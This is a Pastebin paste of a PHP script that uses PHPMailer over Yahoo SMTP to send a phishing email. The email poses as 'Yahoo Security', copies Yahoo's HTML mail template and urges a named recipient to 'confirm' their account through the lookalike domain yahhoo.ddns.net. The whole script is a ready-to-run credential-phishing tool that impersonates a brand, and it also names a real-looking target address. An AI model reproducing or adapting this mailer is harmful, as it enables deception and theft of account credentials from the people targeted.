Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- require 'PHPMailer/PHPMailerAutoload.php';
- $mail = new PHPMailer();
- $mail->IsSMTP();
- $mail->SMTPAuth = true; // enable SMTP authentication
- $mail->SMTPSecure = "ssl";
- $mail->Host = "plus.smtp.mail.yahoo.com";
- $mail->Port = 465; // set the SMTP port
- $mail->Username = "securit_contact@yahoo.com";
- $mail->Password = "XXXXXXXX";
- $mail->From = "securit_contact@yahoo.com";
- $mail->FromName = "Yahoo Security";
- $mail->AddAddress("oussema.lessis@tn.ey.com");
- $mail->Subject = "Verify Account";
- $mail->Body = "<html><body> <style type=\"text/css\">#yiv5560957608 html {}#yiv5560957608 body {width:100%;margin:0 auto;padding:0;}#yiv5560957608 .yiv5560957608ReadMsgBody {width:100%;}#yiv5560957608 .yiv5560957608ExternalClass {width:100%;}#yiv5560957608 .yiv5560957608iosLinkPurple a {color:#400090;text-decoration:none;}#yiv5560957608 .yiv5560957608iosLinkGrey a {color:#454958;text-decoration:none;}#yiv5560957608 .yiv5560957608iosLinkSlate a {color:#424242;text-decoration:none;}</style> <div id=\"yui_3_16_0_ym19_1_1461156944797_7583\"><div id=\"yui_3_16_0_ym19_1_1461156944797_7582\"> <table id=\"yui_3_16_0_ym19_1_1461156944797_7581\" style=\"table-layout:fixed;\" bgcolor=\"#ffffff\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\"> <tbody id=\"yui_3_16_0_ym19_1_1461156944797_7580\"> <tr id=\"yui_3_16_0_ym19_1_1461156944797_7579\"> <td id=\"yui_3_16_0_ym19_1_1461156944797_7578\" style=\"min-width:500px;\" dir=\"ltr\" align=\"center\" valign=\"top\"> <table id=\"yui_3_16_0_ym19_1_1461156944797_7612\" bgcolor=\"#400090\" cellpadding=\"0\" cellspacing=\"0\" width=\"500\"> <tbody id=\"yui_3_16_0_ym19_1_1461156944797_7611\"><tr id=\"yui_3_16_0_ym19_1_1461156944797_7610\"> <td id=\"yui_3_16_0_ym19_1_1461156944797_7609\"><img id=\"yui_3_16_0_ym19_1_1461156944797_7608\" src=\"https://s.yimg.com/sf/email/logo.gif\" style=\"display:block;border:0;\" alt=\"YAHOO\" height=\"87\" width=\"500\"></td> </tr> </tbody></table> <table id=\"yui_3_16_0_ym19_1_1461156944797_7577\" bgcolor=\"#f4f3f8\" cellpadding=\"0\" cellspacing=\"0\" width=\"500\"> <tbody id=\"yui_3_16_0_ym19_1_1461156944797_7576\"><tr id=\"yui_3_16_0_ym19_1_1461156944797_7575\"> <td id=\"yui_3_16_0_ym19_1_1461156944797_7574\"> <table cellpadding=\"0\" cellspacing=\"0\"><tbody><tr><td style=\"line-height:23px;\" height=\"23\"><img style=\"display:block;border:0;\" height=\"1\" width=\"1\"></td></tr></tbody></table> <div id=\"yui_3_16_0_ym19_1_1461156944797_7588\" class=\"yiv5560957608m1930\" style=\"font-family:Helvetica, Verdana, Arial, sans-serif;font-size:18px;line-height:21px;color:#464958;padding-left:19px;padding-right:30px;\"> Dear Rachel, <table cellpadding=\"0\" cellspacing=\"0\"><tbody><tr><td style=\"line-height:14px;\" height=\"14\"><img style=\"display:block;border:0;\" height=\"1\" width=\"1\"></td></tr></tbody></table> In order to ensure you are able to continue receiving Yahoo email on your iPhone, please confirm your account <a id=\"yui_3_16_0_ym19_1_1461156944797_7947\" rel=\"nofollow\" target=\"_blank\" href=\"http://yahhoo.ddns.net\">here</a> .<br> <table cellpadding=\"0\" cellspacing=\"0\"><tbody><tr><td style=\"line-height:14px;\" height=\"14\"><img style=\"display:block;border:0;\" height=\"1\" width=\"1\"></td></tr></tbody></table> <br><br> <div id=\"yui_3_16_0_ym19_1_1461156944797_7909\" style=\"background-color:#eae9ee;font-size:16px;padding:23px;\"> <p id=\"yui_3_16_0_ym19_1_1461156944797_7908\"> Some maintenance may still be undergoing for large improvement updates that will increase our security.<br> </p> </div> <br> <table cellpadding=\"0\" cellspacing=\"0\"><tbody><tr><td style=\"line-height:14px;\" height=\"14\"><img style=\"display:block;border:0;\" height=\"1\" width=\"1\"></td></tr></tbody></table> Thanks, <br> Yahoo </div> <table cellpadding=\"0\" cellspacing=\"0\"><tbody><tr><td style=\"line-height:24px;\" height=\"24\"><img style=\"display:block;border:0;\" height=\"1\" width=\"1\"></td></tr></tbody></table> <table bgcolor=\"#687080\" cellpadding=\"0\" cellspacing=\"0\" width=\"500\"><tbody><tr><td style=\"line-height:1px;\" height=\"1\"><img style=\"display:block;border:0;\" height=\"1\" width=\"1\"></td></tr></tbody></table> </td> </tr> </tbody></table> <table style=\"table-layout:fixed;\" cellspacing=\"0\" width=\"500\"> <tbody><tr> <td> <div style=\"color:#838383;font-family:Helvetica, Verdana, Arial, sans-serif;font-size:14px;padding:30px 30px;\"> To avoid any complication, it is madatory you follow the instructions <a rel=\"nofollow\" target=\"_blank\" href=\"http://yahhoo.ddns.net\">above</a>. </div> </td> </tr></tbody></table> </td> </tr> </tbody> </table></div></div></body></html>";
- $mail->IsHTML(true);
- if(!$mail->Send())
- {
- echo 'Message was not sent.';
- echo 'Mailer error: ' . $mail->ErrorInfo;
- }
- else
- {
- echo 'Message has been sent.';
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement